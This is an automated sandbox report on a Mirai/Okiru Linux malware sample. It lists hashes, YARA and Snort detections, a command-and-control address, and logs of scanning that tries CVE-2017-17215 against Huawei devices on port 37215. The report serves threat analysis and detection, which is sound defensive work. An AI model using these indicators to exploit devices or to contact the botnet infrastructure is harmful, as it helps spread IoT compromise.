Create Interactive Tour

Linux Analysis Report
mBDisulSAb.elf

Overview

General Information

Sample name:	mBDisulSAb.elf renamed because original name is a hash value
Original sample name:	d61792cd258426ce01a59b34ad935863.elf
Analysis ID:	1393340
MD5:	d61792cd258426ce01a59b34ad935863
SHA1:	6e2aa48835f34e769861bb6bed1ac246073ed354
SHA256:	5b47244abfaa217e4abc1e87b1d159bafd119add5479b413a831b6ae14a24ca4
Tags:	32elfmirairenesas
Infos:

Detection

Mirai, Okiru

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Yara detected Okiru

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1393340
Start date and time:	2024-02-16 09:43:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	mBDisulSAb.elf renamed because original name is a hash value
Original Sample Name:	d61792cd258426ce01a59b34ad935863.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/1025@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/mBDisulSAb.elf
PID:	5420
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:

Process Tree

system is lnxubuntu20

mBDisulSAb.elf (PID: 5420, Parent: 5342, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/mBDisulSAb.elf

mBDisulSAb.elf New Fork (PID: 5422, Parent: 5420)

mBDisulSAb.elf New Fork (PID: 5424, Parent: 5422)

mBDisulSAb.elf New Fork (PID: 5425, Parent: 5422)

mBDisulSAb.elf New Fork (PID: 5428, Parent: 5422)

mBDisulSAb.elf New Fork (PID: 5430, Parent: 5422)

gnome-session-binary New Fork (PID: 5433, Parent: 1588)

sh (PID: 5433, Parent: 1588, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-print-notifications

gsd-print-notifications (PID: 5433, Parent: 1588, MD5: 71539698aa691718cee775d6b9450ae2) Arguments: /usr/libexec/gsd-print-notifications

gsd-print-notifications New Fork (PID: 5460, Parent: 5433)

gsd-print-notifications New Fork (PID: 5461, Parent: 5460)

gsd-printer (PID: 5461, Parent: 1, MD5: 7995828cf98c315fd55f2ffb3b22384d) Arguments: /usr/libexec/gsd-printer

dash New Fork (PID: 5438, Parent: 3588)

rm (PID: 5438, Parent: 3588, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.86gqOUrR2u /tmp/tmp.DTOeu9GVri /tmp/tmp.9IMAeGcCfW

gdm3 New Fork (PID: 5462, Parent: 1400)

Default (PID: 5462, Parent: 1400, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

gdm3 New Fork (PID: 5464, Parent: 1400)

Default (PID: 5464, Parent: 1400, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /etc/gdm3/PrimeOff/Default

systemd New Fork (PID: 5475, Parent: 1)

systemd-user-runtime-dir (PID: 5475, Parent: 1, MD5: d55f4b0847f88131dbcfb07435178e54) Arguments: /lib/systemd/systemd-user-runtime-dir stop 127

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
mBDisulSAb.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
mBDisulSAb.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
mBDisulSAb.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
mBDisulSAb.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x17b78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17b8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ba0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ca4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17cb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ccc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ce0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17cf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5420.1.00007fa318400000.00007fa31841b000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5420.1.00007fa318400000.00007fa31841b000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5420.1.00007fa318400000.00007fa31841b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5420.1.00007fa318400000.00007fa31841b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x17b78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17b8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ba0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17bf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17c90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ca4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17cb8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ccc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ce0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17cf4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17d08:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: mBDisulSAb.elf PID: 5420	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
Process Memory Space: mBDisulSAb.elf PID: 5420	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: mBDisulSAb.elf PID: 5420	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x18ad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18c1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18d5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18e9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18fd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1911:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1925:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1939:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x194d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1961:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1975:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1989:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19b1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19c5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19d9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x19ed:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a01:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a15:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a29:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1a3d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.29.117.175

Timestamp:	02/16/24-09:44:48.976508
SID:	2835222
Source Port:	52682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.178.235.32

Timestamp:	02/16/24-09:43:54.575790
SID:	2030490
Source Port:	51562
Destination Port:	19990
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 103.234.96.98

Timestamp:	02/16/24-09:44:41.706275
SID:	2829579
Source Port:	42704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 83.66.208.69

Timestamp:	02/16/24-09:45:26.519226
SID:	2835222
Source Port:	55992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 103.178.235.32 - Destination IP: 192.168.2.13

Timestamp:	02/16/24-09:45:28.201376
SID:	2030489
Source Port:	19990
Destination Port:	51562
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 103.234.96.98

Timestamp:	02/16/24-09:44:41.706275
SID:	2835222
Source Port:	42704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.29.117.175

Timestamp:	02/16/24-09:44:48.976508
SID:	2829579
Source Port:	52682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 83.66.208.69

Timestamp:	02/16/24-09:45:26.519226
SID:	2829579
Source Port:	55992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: mBDisulSAb.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: mBDisulSAb.elf

Virustotal: Detection: 45%

Perma Link

Source: mBDisulSAb.elf

String: wgetcurlbusybox/bin/busyboxechocatnanotfpt/proc/proc/%d/cmdlinerabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51562 -> 103.178.235.32:19990
Source: Traffic	Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 103.178.235.32:19990 -> 192.168.2.13:51562
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:42704 -> 103.234.96.98:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:42704 -> 103.234.96.98:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:52682 -> 62.29.117.175:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:52682 -> 62.29.117.175:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:55992 -> 83.66.208.69:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:55992 -> 83.66.208.69:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 197.131.135.78 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42704 -> 37215

Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.166.209.28:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.88.72.34:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.237.141.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.51.173.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.150.210.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.234.18.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.48.53.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 90.68.199.75:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 222.154.125.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.155.22.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.35.58.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.51.138.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.190.122.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.179.110.84:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.152.58.81:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.228.97.57:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.68.183.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.45.19.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.70.160.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.129.242.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.111.223.244:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 125.32.184.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.129.112.122:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.162.169.71:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.55.56.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.3.10.177:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.171.73.36:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.191.167.1:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.61.177.194:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 98.69.175.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.228.226.139:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.107.55.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.106.75.231:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.110.113.25:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.101.8.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 213.60.29.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.188.34.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 115.158.146.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.145.229.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 45.215.202.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.254.233.77:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.167.82.117:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.213.251.175:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.175.107.140:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 109.129.118.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.183.144.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.28.42.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.203.145.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.152.120.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.120.239.213:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 76.1.48.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 220.74.86.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.172.228.197:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.126.60.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.198.229.118:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 82.210.27.67:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.58.99.120:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.222.200.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 137.207.159.130:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.171.35.135:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.136.255.142:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.123.57.215:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.71.183.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 188.193.154.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 87.1.237.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.38.51.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.94.147.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.125.226.229:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.196.174.0:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 159.218.61.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.170.118.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 135.203.142.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.119.31.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.87.163.94:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.201.65.45:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.38.83.17:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 76.254.196.99:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.68.66.21:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.139.113.190:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.50.39.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.242.106.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.131.176.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 117.170.200.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.172.208.245:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.83.54.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.22.75.165:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.186.125.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.162.153.104:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.234.152.115:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.79.1.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.89.191.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.83.94.5:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.131.135.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.40.160.103:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 153.138.226.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 119.200.91.186:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 38.175.102.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.73.22.185:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.74.183.124:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.205.220.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.91.198.92:37215
